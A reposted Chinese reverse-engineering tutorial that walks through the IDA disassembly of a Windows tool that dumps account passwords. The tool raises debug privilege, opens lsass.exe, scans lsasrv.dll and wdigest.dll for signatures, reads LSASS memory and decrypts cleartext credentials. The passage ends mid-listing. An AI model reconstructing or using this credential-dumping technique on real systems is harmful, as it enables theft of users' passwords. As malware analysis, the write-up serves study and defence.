32位系统所有账户密码查看器的逆向分析
来源:互联网 发布:淘宝违禁词检测工具 编辑:程序博客网 时间:2024/05/29 18:06
在网上找的一篇不错的逆向调试分析的文章,重点在于如何去看反汇编出来的代码以及一般逆向分析的步骤,对于新手很有借鉴意义。
下面是原文链接:http://www.52pojie.cn/thread-240235-1-1.html
这是一个win32操作系统的账户密码查看器,是在某个群中有人问它的原理,我就跟对方要了那个小东西来分析下,于是就有了下面的文章。
这是一个控制台程序,用IDA加载后,基本上就能看到全貌,只要稍加分析下即可。下面我们来慢慢分析。用IDA加载后,我们直接来到了main函数,在最开始的部分,有这么写东西,代码如下:00401150 sub esp, 2C4h.text:00401156 push offset aNWindowsIBByZS ; "欢迎使用windows密码读取器,by : 学生组G"....text:0040115B call sub_40183D ; 显示字符串.text:00401160 add esp, 4.text:00401163 call sub_4014E0 ; 提升程序特权.text:00401168 cmp eax, 1.text:0040116B jz short loc_40117A
先看sub_40183D函数,双击进去之后看到如下代码:
.text:0040183D arg_0 = dword ptr 4.text:0040183D arg_4 = dword ptr 8.text:0040183D.text:0040183D push ebx.text:0040183E push esi.text:0040183F mov esi, offset File.text:00401844 push edi.text:00401845 push esi.text:00401846 call __stbuf.text:0040184B mov edi, eax.text:0040184D lea eax, [esp+10h+arg_4].text:00401851 push eax ; int.text:00401852 push [esp+14h+arg_0] ; int.text:00401856 push esi ; File.text:00401857 call sub_402274.text:0040185C push esi.text:0040185D push edi.text:0040185E mov ebx, eax.text:00401860 call __ftbuf.text:00401865 add esp, 18h.text:00401868 mov eax, ebx.text:0040186A pop edi.text:0040186B pop esi.text:0040186C pop ebx.text:0040186D retn.text:0040186D sub_40183D endp
这个很明显是显示传进来的字符串的,我们就不仔细分析了。下面来看下一个函数sub_4014E0,双击这个函数我们看到如下代码:
.text:004014E3 8D 44 24 00 lea eax, [esp+1Ch+TokenHandle].text:004014E7 50 push eax ; TokenHandle.text:004014E8 68 FF 01 0F 00 push 0F01FFh ; DesiredAccess.text:004014ED FF 15 28 80 40 00 call ds:GetCurrentProcess ; 获取当前进程句柄.text:004014F3 50 push eax ; ProcessHandle.text:004014F4 FF 15 08 80 40 00 call ds:OpenProcessToken ; 打开当前进程访问令牌.text:004014FA 85 C0 test eax, eax.text:004014FC 75 13 jnz short loc_401511 ; 判断函数是否调用成功,调用成功则跳转.text:004014FE 68 EC 92 40 00 push offset aOpenprocesstok ; "OpenProcessToken fail".text:00401503 E8 CE 02 00 00 call _puts.text:00401508 83 C4 04 add esp, 4.text:0040150B 33 C0 xor eax, eax.text:0040150D 83 C4 1C add esp, 1Ch.text:00401510 C3 retn.text:00401511 ; ---------------------------------------------------------------------------.text:00401511.text:00401511 loc_401511: ; CODE XREF: sub_4014E0+1Cj.text:00401511 8D 4C 24 04 lea ecx, [esp+1Ch+Luid].text:00401515 51 push ecx ; lpLuid.text:00401516 68 D8 92 40 00 push offset Name ; "SeDebugPrivilege".text:0040151B 6A 00 push 0 ; lpSystemName.text:0040151D FF 15 00 80 40 00 call ds:LookupPrivilegeValueA ; 查看系统权限的特权值.text:00401523 85 C0 test eax, eax ; 判断函数是否调用成功.text:00401525 75 13 jnz short loc_40153A ; 调用成功则跳转.text:00401527 68 BC 92 40 00 push offset aLookupprivileg ; "LookupPrivilegeValue fail".text:0040152C E8 A5 02 00 00 call _puts.text:00401531 83 C4 04 add esp, 4.text:00401534 33 C0 xor eax, eax.text:00401536 83 C4 1C add esp, 1Ch.text:00401539 C3 retn.text:0040153A ; ---------------------------------------------------------------------------.text:0040153A.text:0040153A loc_40153A: ; CODE XREF: sub_4014E0+45j.text:0040153A 8B 54 24 04 mov edx, [esp+1Ch+Luid.LowPart].text:0040153E 8B 44 24 08 mov eax, [esp+1Ch+Luid.HighPart].text:00401542 6A 00 push 0 ; ReturnLength.text:00401544 6A 00 push 0 ; PreviousState.text:00401546 8D 4C 24 14 lea ecx, [esp+24h+NewState] ; 新特权的地址.text:0040154A 89 54 24 18 mov [esp+24h+NewState.Privileges.Luid.LowPart], edx ; 初始化新特权.text:0040154E 8B 54 24 08 mov edx, [esp+24h+TokenHandle].text:00401552 6A 10 push 10h ; BufferLength.text:00401554 51 push ecx ; NewState.text:00401555 6A 00 push 0 ; DisableAllPrivileges.text:00401557 52 push edx ; TokenHandle.text:00401558 C7 44 24 24 01 00 00 00 mov [esp+34h+NewState.PrivilegeCount], 1 ; 初始化新特权.text:00401560 89 44 24 2C mov [esp+34h+NewState.Privileges.Luid.HighPart], eax ; 初始化新特权.text:00401564 C7 44 24 30 02 00 00 00 mov [esp+34h+NewState.Privileges.Attributes], 2 ; 初始化新特权.text:0040156C FF 15 04 80 40 00 call ds:AdjustTokenPrivileges ; 修改特权.text:00401572 85 C0 test eax, eax.text:00401574 75 13 jnz short loc_401589
这个函数代码看似有点多,但实际上只是调用了几个函数:OpenProcessToken、LookupPrivilegeValueA和AdjustTokenPrivileges,目的就是为了提升权限。在这个函数调用完成之后,有个判断
.text:00401168 cmp eax, 1.text:0040116B jz short loc_40117A
就是检测下权限是否提升成功,返回值为1表示成功,否则是失败,若成功则程序跳到40117a处。在40117a处我们看到如下代码:
.text:0040117A loc_40117A: ; CODE XREF: _main+1Bj.text:0040117A push ebx.text:0040117B push edi.text:0040117C push offset aLsass_exe ; "lsass.exe".text:00401181 call sub_401000.text:00401186 mov ebx, eax.text:00401188 add esp, 4.text:0040118B test ebx, ebx.text:0040118D jnz short loc_4011BB.text:0040118F push offset aGetprocesshand ; "GetProcessHandleByName fail !".text:00401194 call _puts.text:00401199 push offset aTryToRunAsAdmi ; "Try To Run As Administrator ...".text:0040119E call _puts.text:004011A3 push offset aEchoPressAnyKe ; "echo Press any Key to Continue ... & pa"....text:004011A8 call sub_401740.text:004011AD add esp, 0Ch.text:004011B0 xor eax, eax.text:004011B2 pop edi.text:004011B3 pop ebx.text:004011B4 add esp, 2C4h.text:004011BA retn
这段代码有一个关键函数sub_401000,我们可以看到在这个函数调用完成之后,程序对其返回值做了判断,如果返回值为0,则输出几个提示信息,然后退出程序。这个函数只有一个参数——“lsass.exe”字符串(前面的两个push是保存寄存器的值),我们现在来看看这个程序内部做了些什么工作。我们一点一点来分析,先看看函数开头部分的代码,如下:
.text:00401000 81 EC 54 03 00 00 sub esp, 354h.text:00401006 53 push ebx.text:00401007 55 push ebp.text:00401008 56 push esi.text:00401009 57 push edi.text:0040100A 68 6C 90 40 00 push offset ProcName ; "NtQueryInformationProcess".text:0040100F 68 60 90 40 00 push offset ModuleName ; "ntdll.dll".text:00401014 FF 15 14 80 40 00 call ds:GetModuleHandleA.text:0040101A 50 push eax ; hModule.text:0040101B FF 15 10 80 40 00 call ds:GetProcAddress.text:00401021 8B 1D 1C 80 40 00 mov ebx, ds:OpenProcess.text:00401027 8B 2D 2C 80 40 00 mov ebp, ds:WideCharToMultiByte.text:0040102D 89 44 24 10 mov [esp+364h+var_354], eax.text:00401031 BF 04 00 00 00 mov edi, 4
这段代码看着好像有点多,起始就干一件事,就是获取NtQueryInformationProcess函数的地址,以供后面调用,我们这里注意一下,NtQueryInformationProcess这个函数的地址是保存在[esp+364h+var_354]这里面的,然后我们来看接下来的一大段代码:
.text:00401036 57 push edi ; dwProcessId.text:00401037 6A 00 push 0 ; bInheritHandle.text:00401039 68 FF 0F 1F 00 push 1F0FFFh ; dwDesiredAccess.text:0040103E FF D3 call ebx ; OpenProcess ; 打开进程.text:00401040 8B F0 mov esi, eax.text:00401042 85 F6 test esi, esi.text:00401044 74 72 jz short loc_4010B8.text:00401046 8D 44 24 14 lea eax, [esp+364h+var_350].text:0040104A 8D 8C 24 1C 01 00 00 lea ecx, [esp+364h+var_248].text:00401051 50 push eax.text:00401052 68 48 02 00 00 push 248h.text:00401057 51 push ecx.text:00401058 6A 1B push 1Bh.text:0040105A 56 push esi .text:0040105B FF 54 24 24 call [esp+378h+var_354] ; 调用NtQueryInformationProcess函数.text:0040105F 85 C0 test eax, eax.text:00401061 75 4E jnz short loc_4010B1.text:00401063 50 push eax ; lpUsedDefaultChar.text:00401064 50 push eax ; lpDefaultChar.text:00401065 8B 84 24 28 01 00 00 mov eax, [esp+36Ch+lpWideCharStr].text:0040106C 8D 54 24 20 lea edx, [esp+36Ch+MultiByteStr].text:00401070 68 04 01 00 00 push 104h ; cbMultiByte.text:00401075 52 push edx ; lpMultiByteStr.text:00401076 6A FF push 0FFFFFFFFh ; cchWideChar.text:00401078 50 push eax ; lpWideCharStr.text:00401079 6A 00 push 0 ; dwFlags.text:0040107B 6A 00 push 0 ; CodePage.text:0040107D FF D5 call ebp ; WideCharToMultiByte ; 将UNICODE转为char.text:0040107F 85 C0 test eax, eax.text:00401081 74 2E jz short loc_4010B1.text:00401083 8D 44 04 17 lea eax, [esp+eax+364h+var_34D].text:00401087 8D 4C 24 18 lea ecx, [esp+364h+MultiByteStr].text:0040108B 3B C1 cmp eax, ecx.text:0040108D 72 0E jb short loc_40109D.text:0040108F.text:0040108F loc_40108F: ; CODE XREF: sub_401000+9Bj.text:0040108F 80 38 5C cmp byte ptr [eax], 5Ch.text:00401092 74 09 jz short loc_40109D.text:00401094 48 dec eax.text:00401095 8D 54 24 18 lea edx, [esp+364h+MultiByteStr].text:00401099 3B C2 cmp eax, edx.text:0040109B 73 F2 jnb short loc_40108F.text:0040109D.text:0040109D loc_40109D: ; CODE XREF: sub_401000+8Dj.text:0040109D ; sub_401000+92j.text:0040109D 40 inc eax.text:0040109E 50 push eax ; lpString2.text:0040109F 8B 84 24 6C 03 00 00 mov eax, [esp+368h+lpString1].text:004010A6 50 push eax ; lpString1.text:004010A7 FF 15 30 80 40 00 call ds:lstrcmpiA ; 将打开的进程名与目标进程名作比较,看目前打开的进程是不是目标进程,.text:004010AD 85 C0 test eax, eax.text:004010AF 74 23 jz short loc_4010D4 ; 如果是,则直接将进程句柄作为返回值返回,否则继续查找.text:004010B1.text:004010B1 loc_4010B1: ; CODE XREF: sub_401000+61j.text:004010B1 ; sub_401000+81j.text:004010B1 56 push esi ; hObject.text:004010B2 FF 15 38 80 40 00 call ds:CloseHandle.text:004010B8.text:004010B8 loc_4010B8: ; CODE XREF: sub_401000+44j.text:004010B8 83 C7 04 add edi, 4.text:004010BB 81 FF 10 27 00 00 cmp edi, 2710h.text:004010C1 0F 82 6F FF FF FF jb loc_401036.text:004010C7 5F pop edi.text:004010C8 5E pop esi.text:004010C9 5D pop ebp.text:004010CA 33 C0 xor eax, eax.text:004010CC 5B pop ebx.text:004010CD 81 C4 54 03 00 00 add esp, 354h.text:004010D3 C3 retn.text:004010D4 ; ---------------------------------------------------------------------------.text:004010D4.text:004010D4 loc_4010D4: ; CODE XREF: sub_401000+AFj.text:004010D4 8B C6 mov eax, esi.text:004010D6 5F pop edi.text:004010D7 5E pop esi.text:004010D8 5D pop ebp.text:004010D9 5B pop ebx.text:004010DA 81 C4 54 03 00 00 add esp, 354h.text:004010E0 C3 retn.text:004010E0 sub_401000 endp
代码有点多,但它干的活却很明确,就是在当前系统中查找“lsass.exe”进程,若是找到这个进程,就返回进程句柄,否则返回0.当这个函数返回了之后,程序对返回值进行了判断,若是找到目标进程,那么程序继续执行下去,否则就退出。我们来看程序接下来又干了些啥活。在程序跳转了之后,来到了这里:
.text:004011BB loc_4011BB: ; CODE XREF: _main+3Dj.text:004011BB mov ecx, 25h.text:004011C0 xor eax, eax.text:004011C2 lea edi, [esp+2CCh+VersionInformation].text:004011C6 rep stosd.text:004011C8 lea eax, [esp+2CCh+VersionInformation].text:004011CC mov [esp+2CCh+VersionInformation.dwOSVersionInfoSize], 94h.text:004011D4 push eax ; lpVersionInformation.text:004011D5 call ds:GetVersionExA ; 获取系统版本信息.text:004011DB mov ecx, [esp+2CCh+VersionInformation.dwMajorVersion].text:004011DF mov eax, [esp+2CCh+VersionInformation.dwMinorVersion].text:004011E3 cmp ecx, 5.text:004011E6 jnz loc_40135A.text:004011EC cmp eax, 1.text:004011EF jnz loc_401340.text:004011F5 mov [esp+2CCh+var_2BC], 24h.text:004011FD mov [esp+2CCh+var_2C0], 2
这段代码只干一件事,就是获取操作系统的版本信息,将结果保存在VersionInformation变量中,然后就是判断操作系统版本(vista及其之后的版本中VersionInformation.dwMajorVersion值为6, win2000到xp这个值为5)。接下来就要干正事了。先是在lsasrv.dll中查找一个函数地址,这个函数在后面会被用来解密读出来的密码,代码如下:
.text:00401205 ; _main+21Fj.text:00401205 55 push ebp.text:00401206 56 push esi.text:00401207 8B 35 34 80 40 00 mov esi, ds:LoadLibraryA.text:0040120D 68 A4 91 40 00 push offset aLsasrv_dll ; "lsasrv.dll".text:00401212 FF D6 call esi ; LoadLibraryA.text:00401214 6A 0E push 0Eh ; 字符数组长度.text:00401216 8B E8 mov ebp, eax.text:00401218 68 30 90 40 00 push offset aLUlJ ; 字符数组.text:0040121D 68 DD DD FF 7F push 7FFFDDDDh ; 地址最大值.text:00401222 55 push ebp ; lsasrv.dll的句柄.text:00401227 E8 74 03 00 00 call sub_4015A0
在上面的这段代码中,主要就是调用了sub_4015A0,而这个函数返回的,是一个地址,代码如下:
mov eax, [esp+arg_0].text:004015A4 53 push ebx.text:004015A5 55 push ebp.text:004015A6 8B 6C 24 10 mov ebp, [esp+8+arg_4].text:004015AA 56 push esi.text:004015AB 8B 74 24 1C mov esi, [esp+0Ch+arg_C].text:004015AF 57 push edi.text:004015B0 8D 0C 30 lea ecx, [eax+esi].text:004015B3 3B CD cmp ecx, ebp ; 检测传入句柄的地址是否大于最大的地址的值,如果大于,则函数直接结束.text:004015B5 77 2F ja short loc_4015E6.text:004015B7 8B 7C 24 1C mov edi, [esp+10h+arg_8].text:004015BB.text:004015BB loc_4015BB: ; CODE XREF: sub_4015A0+42j.text:004015BB 33 C9 xor ecx, ecx.text:004015BD 85 F6 test esi, esi ; 检测传入的字符数据的长度是否为0,为0则函数退出.text:004015BF 76 0F jbe short loc_4015D0 ; 如果ecx=esi,则说明在lsasrv.dll中找到的目标字符串(因为每找到一个字符,ecx才+1).text:004015C1.text:004015C1 loc_4015C1: ; CODE XREF: sub_4015A0+2Ej.text:004015C1 8A 10 mov dl, [eax] ; 在lsasrv.dll中查找所传入的字符数组.text:004015C3 8A 1C 39 mov bl, [ecx+edi].text:004015C6 3A D3 cmp dl, bl.text:004015C8 75 06 jnz short loc_4015D0 ; 如果ecx=esi,则说明在lsasrv.dll中找到的目标字符串(因为每找到一个字符,ecx才+1).text:004015CA 40 inc eax.text:004015CB 41 inc ecx.text:004015CC 3B CE cmp ecx, esi.text:004015CE 72 F1 jb short loc_4015C1 ; 在lsasrv.dll中查找所传入的字符数组.text:004015D0.text:004015D0 loc_4015D0: ; CODE XREF: sub_4015A0+1Fj.text:004015D0 ; sub_4015A0+28j.text:004015D0 3B CE cmp ecx, esi ; 如果ecx=esi,则说明在lsasrv.dll中找到的目标字符串(因为每找到一个字符,ecx才+1).text:004015D2 74 1A jz short loc_4015EE.text:004015D4 BA 01 00 00 00 mov edx, 1.text:004015D9 2B D1 sub edx, ecx.text:004015DB 03 C2 add eax, edx.text:004015DD 8D 14 30 lea edx, [eax+esi].text:004015E0 3B D5 cmp edx, ebp ; 如果未找到目标字符数组,则要判断当前地址是否大于最大地址值,以确保查找的范围在lsasrv.dll中.text:004015E2 76 D7 jbe short loc_4015BB
在这个函数中,传入的字符数组就相当于一个标志,目的就是要在内存中找到那组数据,当找到了之后就将那组数据所处的内存地址返回。在这个函数的后面,又调用了另一个函数call sub_4010F0,我们双击进入这个函数内部去看看:
.text:004010F1 56 push esi.text:004010F2 57 push edi.text:004010F3 68 98 90 40 00 push offset LibFileName ; "wdigest.dll".text:004010F8 FF 15 34 80 40 00 call ds:LoadLibraryA ; 加载wdigest.dll.text:004010FE 8B D8 mov ebx, eax.text:00401100 68 88 90 40 00 push offset aSpinstanceinit ; "SpInstanceInit".text:00401105 53 push ebx ; hModule.text:00401106 FF 15 10 80 40 00 call ds:GetProcAddress ; 获取SpInstanceInit函数的地址.text:0040110C 8B F0 mov esi, eax.text:0040110E 33 FF xor edi, edi.text:00401110 3B DE cmp ebx, esi.text:00401112 8B C3 mov eax, ebx.text:00401114 73 1E jnb short loc_401134.text:00401116.text:00401116 loc_401116: ; CODE XREF: sub_4010F0+42j.text:00401116 85 C0 test eax, eax.text:00401118 74 1A jz short loc_401134.text:0040111A 8B F8 mov edi, eax.text:0040111C 6A 08 push 8.text:0040111E 68 58 90 40 00 push offset unk_409058.text:00401123 83 C0 08 add eax, 8.text:00401126 56 push esi.text:00401127 50 push eax.text:00401128 E8 73 04 00 00 call sub_4015A0 ; 在wdigest.dll中查找地址.text:0040112D 83 C4 10 add esp, 10h.text:00401130 3B C6 cmp eax, esi.text:00401132 72 E2 jb short loc_401116.text:00401134.text:00401134 loc_401134: ; CODE XREF: sub_4010F0+24j.text:00401134 ; sub_4010F0+28j.text:00401134 8B 7F FC mov edi, [edi-4].text:00401137 53 push ebx ; hLibModule.text:00401138 FF 15 18 80 40 00 call ds:FreeLibrary.text:0040113E 8B C7 mov eax, edi.text:00401140 5F pop edi.text:00401141 5E pop esi.text:00401142 5B pop ebx.text:00401143 C3 retn
代码挺多的,但是功能很简单,就是在wdigest.dll中查找某个地址,然后将地址返回。接下来就是call sub_401600这个函数的调用,在这个函数的内部,主要就是读取都断内存数据,并将数据保存在进程中,代码如下:
.text:0040124A 68 98 91 40 00 push offset aSecur32_dll ; "Secur32.dll".text:0040124F FF D6 call esi ; LoadLibraryA.text:00401251 8B F0 mov esi, eax.text:00401253 68 7C 91 40 00 push offset aLsaenumeratelo ; "LsaEnumerateLogonSessions".text:00401258 56 push esi ; hModule.text:00401259 89 74 24 38 mov [esp+2DCh+var_2A4], esi.text:0040125D FF 15 10 80 40 00 call ds:GetProcAddress.text:00401263 68 64 91 40 00 push offset aLsagetlogonses ; "LsaGetLogonSessionData".text:00401268 56 push esi ; hModule.text:00401269 89 44 24 18 mov [esp+2DCh+var_2C4], eax.text:0040126D FF 15 10 80 40 00 call ds:GetProcAddress.text:00401273 68 50 91 40 00 push offset aLsafreereturnb ; "LsaFreeReturnBuffer".text:00401278 56 push esi ; hModule.text:00401279 89 44 24 44 mov [esp+2DCh+var_298], eax.text:0040127D FF 15 10 80 40 00 call ds:GetProcAddress.text:00401283 89 44 24 1C mov [esp+2D4h+var_2B8], eax.text:00401287 8D 54 24 20 lea edx, [esp+2D4h+var_2B4].text:0040128B 8D 44 24 24 lea eax, [esp+2D4h+var_2B0].text:0040128F 52 push edx.text:00401290 50 push eax.text:00401291 FF 54 24 18 call [esp+2DCh+var_2C4] ; 调用LsaEnumerateLogonSessions.text:00401295 8B 44 24 24 mov eax, [esp+2D0h+var_2AC].text:00401299 C7 44 24 10 00 00 00 00 mov [esp+2D0h+var_2C0], 0.text:004012A1 85 C0 test eax, eax.text:004012A3 0F 86 84 01 00 00 jbe loc_40142D
在上面这段代码中,加载了3个重要的函数LsaEnumerateLogonSessions、LsaGetLogonSessionData和LsaFreeReturnBuffer。其中LsaEnumerateLogonSessions用来获取LUID的个数和值,LsaGetLogonSessionData用来获取LUID对应的用户名和密码,LsaFreeReturnBuffer函数则用来释放内存。我们来看代码:
.text:004012AF 8B 4C 24 20 mov ecx, [esp+2D0h+var_2B0].text:004012B3 8B 54 24 10 mov edx, [esp+2D0h+var_2C0].text:004012B7 8B 44 24 1C mov eax, [esp+2D0h+var_2B4].text:004012BB 8D 34 D1 lea esi, [ecx+edx*8].text:004012BE 8B 4C 24 3C mov ecx, [esp+2D0h+VersionInformation.dwOSVersionInfoSize].text:004012C2 56 push esi ; LUID的地址.text:004012C3 50 push eax ; LsaFreeReturnBuffer函数地址.text:004012C4 51 push ecx ; LsaGetLogonSessionData函数地址.text:004012C5 E8 C6 01 00 00 call sub_401490 ; 获取用户名和登陆域名并将其输出.text:004012CA 83 C4 0C add esp, 0Ch.text:004012CD 8D 54 24 28 lea edx, [esp+2D0h+NumberOfBytesRead].text:004012D1 8D 84 24 D4 00 00 00 lea eax, [esp+2D0h+Buffer].text:004012D8 52 push edx ; lpNumberOfBytesRead.text:004012D9 68 00 01 00 00 push 100h ; nSize.text:004012DE 50 push eax ; lpBuffer.text:004012DF 57 push edi ; lpBaseAddress.text:004012E0 53 push ebx ; hProcess.text:004012E1 FF D5 call ebp ; ReadProcessMemory.text:004012E3 8B 84 24 D4 00 00 00 mov eax, [esp+2D0h+Buffer].text:004012EA 3B C7 cmp eax, edi.text:004012EC 0F 84 B6 00 00 00 jz loc_4013A8
先来看call sub_401490这个函数内部的代码
mov ecx, [esp+arg_8].text:00401494 8D 44 24 0C lea eax, [esp+arg_8].text:00401498 50 push eax.text:00401499 51 push ecx.text:0040149A FF 54 24 0C call [esp+8+arg_0] ; 调用LsaGetLogonSessionData.text:0040149E 8B 54 24 0C mov edx, [esp+arg_8].text:004014A2 8B 42 10 mov eax, [edx+10h].text:004014A5 50 push eax.text:004014A6 68 94 92 40 00 push offset aZS ; "用户名: %S\n".text:004014AB E8 8D 03 00 00 call sub_40183D ; 输出用户名.text:004014B0 8B 4C 24 14 mov ecx, [esp+8+arg_8].text:004014B4 83 C4 08 add esp, 8.text:004014B7 8B 51 18 mov edx, [ecx+18h].text:004014BA 52 push edx.text:004014BB 68 84 92 40 00 push offset aS ; "登陆域名: %S\n".text:004014C0 E8 78 03 00 00 call sub_40183D ; 输出登录域名.text:004014C5 8B 44 24 14 mov eax, [esp+8+arg_8].text:004014C9 83 C4 08 add esp, 8.text:004014CC 50 push eax.text:004014CD FF 54 24 0C call [esp+4+arg_4] ; 调用LsaFreeReturnBuffer来释放内存.text:004014D1 C3 retn
这个函数内部就是读取数据,然后将用户名和登陆域名输出,这个做完了之后,程序会去读下一段内存数据,从中寻找指定的LUID,如果找到,则在从内存中读取指定LUID对应的密码,然后将其解密,再将解密后的密码输出。代码如下:
lea edx, [esp+2D0h+NumberOfBytesRead].text:004012D1 8D 84 24 D4 00 00 00 lea eax, [esp+2D0h+Buffer].text:004012D8 52 push edx ; lpNumberOfBytesRead.text:004012D9 68 00 01 00 00 push 100h ; nSize.text:004012DE 50 push eax ; lpBuffer.text:004012DF 57 push edi ; lpBaseAddress.text:004012E0 53 push ebx ; hProcess.text:004012E1 FF D5 call ebp ; ReadProcessMemory ; 读取内存数据.text:004012E3 8B 84 24 D4 00 00 00 mov eax, [esp+2D0h+Buffer].text:004012EA 3B C7 cmp eax, edi.text:004012EC 0F 84 B6 00 00 00 jz loc_4013A8.text:004012F2.text:004012F2 loc_4012F2: ; CODE XREF: _main+1DCj.text:004012F2 8D 4C 24 28 lea ecx, [esp+2D0h+NumberOfBytesRead].text:004012F6 8D 94 24 D4 00 00 00 lea edx, [esp+2D0h+Buffer].text:004012FD 51 push ecx ; lpNumberOfBytesRead.text:004012FE 68 00 01 00 00 push 100h ; nSize.text:00401303 52 push edx ; lpBuffer.text:00401304 50 push eax ; lpBaseAddress.text:00401305 53 push ebx ; hProcess.text:00401306 FF D5 call ebp ; ReadProcessMemory ; 读取内存数据.text:00401308 8B 84 24 E4 00 00 00 mov eax, [esp+2D0h+nSize].text:0040130F 8B 0E mov ecx, [esi].text:00401311 3B C1 cmp eax, ecx ; 检测读取到的LUID值是否是指定的LUID值,如果不是,则比较地址,如果当前地址小于目标地址,则继续读取内存,查找LUID.text:00401313 75 0E jnz short loc_401323.text:00401315 8B 8C 24 E8 00 00 00 mov ecx, [esp+2D0h+lpBaseAddress].text:0040131C 8B 46 04 mov eax, [esi+4].text:0040131F 3B C8 cmp ecx, eax.text:00401321 74 7C jz short loc_40139F.text:00401323.text:00401323 loc_401323: ; CODE XREF: _main+1C3j.text:00401323 8B 84 24 D4 00 00 00 mov eax, [esp+2D0h+Buffer].text:0040132A 3B C7 cmp eax, edi.text:0040132C 75 C4 jnz short loc_4012F2.text:0040132E 68 34 91 40 00 push offset aSpecificLuidNo ; "Specific LUID NOT found\n".text:00401333 E8 9E 04 00 00 call _puts.text:00401338 83 C4 04 add esp, 4.text:0040133B E9 D0 00 00 00 jmp loc_401410.text:00401340 ; ---------------------------------------------------------------------------.text:00401340.text:00401340 loc_401340: ; CODE XREF: _main+9Fj.text:00401340 83 F8 02 cmp eax, 2.text:00401343 75 2F jnz short loc_401374.text:00401345 C7 44 24 10 1C 00 00 00 mov [esp+2CCh+var_2BC], 1Ch.text:0040134D C7 44 24 0C 04 00 00 00 mov [esp+2CCh+var_2C0], 4.text:00401355 E9 AB FE FF FF jmp loc_401205.text:0040135A ; ---------------------------------------------------------------------------.text:0040135A.text:0040135A loc_40135A: ; CODE XREF: _main+96j.text:0040135A 83 F9 06 cmp ecx, 6.text:0040135D 75 15 jnz short loc_401374.text:0040135F C7 44 24 10 20 00 00 00 mov [esp+2CCh+var_2BC], 20h.text:00401367 C7 44 24 0C 01 00 00 00 mov [esp+2CCh+var_2C0], 1.text:0040136F E9 91 FE FF FF jmp loc_401205.text:00401374 ; ---------------------------------------------------------------------------.text:00401374.text:00401374 loc_401374: ; CODE XREF: _main+1F3j.text:00401374 ; _main+20Dj.text:00401374 50 push eax.text:00401375 51 push ecx.text:00401376 68 04 91 40 00 push offset aUndefinedOsVer ; "[Undefined OS version] Major: %d Minor"....text:0040137B E8 BD 04 00 00 call sub_40183D.text:00401380 68 B0 91 40 00 push offset aEchoPressAnyKe ; "echo Press any Key to Continue ... & pa"....text:00401385 E8 B6 03 00 00 call _system.text:0040138A 83 C4 10 add esp, 10h.text:0040138D 53 push ebx ; hObject.text:0040138E FF 15 38 80 40 00 call ds:CloseHandle.text:00401394 5F pop edi.text:00401395 33 C0 xor eax, eax.text:00401397 5B pop ebx.text:00401398 81 C4 C4 02 00 00 add esp, 2C4h.text:0040139E C3 retn.text:0040139F ; ---------------------------------------------------------------------------.text:0040139F.text:0040139F loc_40139F: ; CODE XREF: _main+1D1j.text:0040139F 39 BC 24 D4 00 00 00 cmp [esp+2D0h+Buffer], edi.text:004013A6 75 0F jnz short loc_4013B7.text:004013A8.text:004013A8 loc_4013A8: ; CODE XREF: _main+19Cj.text:004013A8 68 34 91 40 00 push offset aSpecificLuidNo ; "Specific LUID NOT found\n".text:004013AD E8 24 04 00 00 call _puts.text:004013B2 83 C4 04 add esp, 4.text:004013B5 EB 59 jmp short loc_401410.text:004013B7 ; ---------------------------------------------------------------------------.text:004013B7.text:004013B7 loc_4013B7: ; CODE XREF: _main+256j.text:004013B7 8B 54 24 18 mov edx, [esp+2D0h+var_2B8].text:004013BB 33 F6 xor esi, esi.text:004013BD B9 40 00 00 00 mov ecx, 40h.text:004013C2 BF C0 BB 40 00 mov edi, offset unk_40BBC0.text:004013C7 66 8B B4 14 E6 00 00 00 mov si, word ptr [esp+edx+2D0h+nSize+2].text:004013CF 8D 84 14 E4 00 00 00 lea eax, [esp+edx+2D0h+nSize].text:004013D6 8B 94 14 E8 00 00 00 mov edx, [esp+edx+2D0h+lpBaseAddress].text:004013DD 33 C0 xor eax, eax.text:004013DF F3 AB rep stosd.text:004013E1 8D 44 24 28 lea eax, [esp+2D0h+NumberOfBytesRead].text:004013E5 50 push eax ; lpNumberOfBytesRead.text:004013E6 56 push esi ; nSize.text:004013E7 68 C0 BB 40 00 push offset unk_40BBC0 ; lpBuffer.text:004013EC 52 push edx ; lpBaseAddress.text:004013ED 53 push ebx ; hProcess.text:004013EE FF D5 call ebp ; ReadProcessMemory ; 读取内存获取密码.text:004013F0 56 push esi.text:004013F1 68 C0 BB 40 00 push offset unk_40BBC0.text:004013F6 FF 54 24 34 call [esp+2D8h+var_2A4] ; 解密密码.text:004013FA 68 C0 BB 40 00 push offset unk_40BBC0.text:004013FF 68 F8 90 40 00 push offset aIS ; "密码: %S\n\n".text:00401404 E8 34 04 00 00 call sub_40183D ; 显示密码.text:00401409 8B 7C 24 40 mov edi, [esp+2D8h+var_298].text:0040140D 83 C4 08 add esp, 8.text:00401410.text:00401410 loc_401410: ; CODE XREF: _main+1EBj.text:00401410 ; _main+265j.text:00401410 8B 44 24 10 mov eax, [esp+2D0h+var_2C0].text:00401414 8B 4C 24 24 mov ecx, [esp+2D0h+var_2AC].text:00401418 40 inc eax.text:00401419 3B C1 cmp eax, ecx ; 检测是否已经查找完所枚举出来的LUID.text:0040141B 89 44 24 10 mov [esp+2D0h+var_2C0], eax.text:0040141F 0F 82 8A FE FF FF jb loc_4012AF.text:00401425 8B 74 24 30 mov esi, [esp+2D0h+var_2A0].text:00401429 8B 6C 24 34 mov ebp, [esp+2D0h+var_29C].text:0040142D.text:0040142D loc_40142D: ; CODE XREF: _main+153j.text:0040142D 53 push ebx ; hObject.text:0040142E FF 15 38 80 40 00 call ds:CloseHandle.text:00401434 8B 4C 24 20 mov ecx, [esp+2D0h+var_2B0].text:00401438 51 push ecx.text:00401439 FF 54 24 20 call [esp+2D4h+var_2B4].text:0040143D 8B 3D 18 80 40 00 mov edi, ds:FreeLibrary.text:00401443 55 push ebp ; hLibModule.text:00401444 FF D7 call edi ; FreeLibrary.text:00401446 56 push esi ; hLibModule.text:00401447 FF D7 call edi ; FreeLibrary.text:00401449 83 7C 24 14 01 cmp [esp+2D4h+var_2C0], 1.text:0040144E 75 1A jnz short loc_40146A.text:00401450 8B 35 14 80 40 00 mov esi, ds:GetModuleHandleA.text:00401456 68 EC 90 40 00 push offset aBcrypt_dll ; "bcrypt.dll".text:0040145B FF D6 call esi ; GetModuleHandleA.text:0040145D 50 push eax ; hLibModule.text:0040145E FF D7 call edi ; FreeLibrary.text:00401460 68 D4 90 40 00 push offset aBcryptprimitiv ; "bcryptprimitives.dll".text:00401465 FF D6 call esi ; GetModuleHandleA.text:00401467 50 push eax ; hLibModule.text:00401468 FF D7 call edi ; FreeLibrary.text:0040146A.text:0040146A loc_40146A: ; 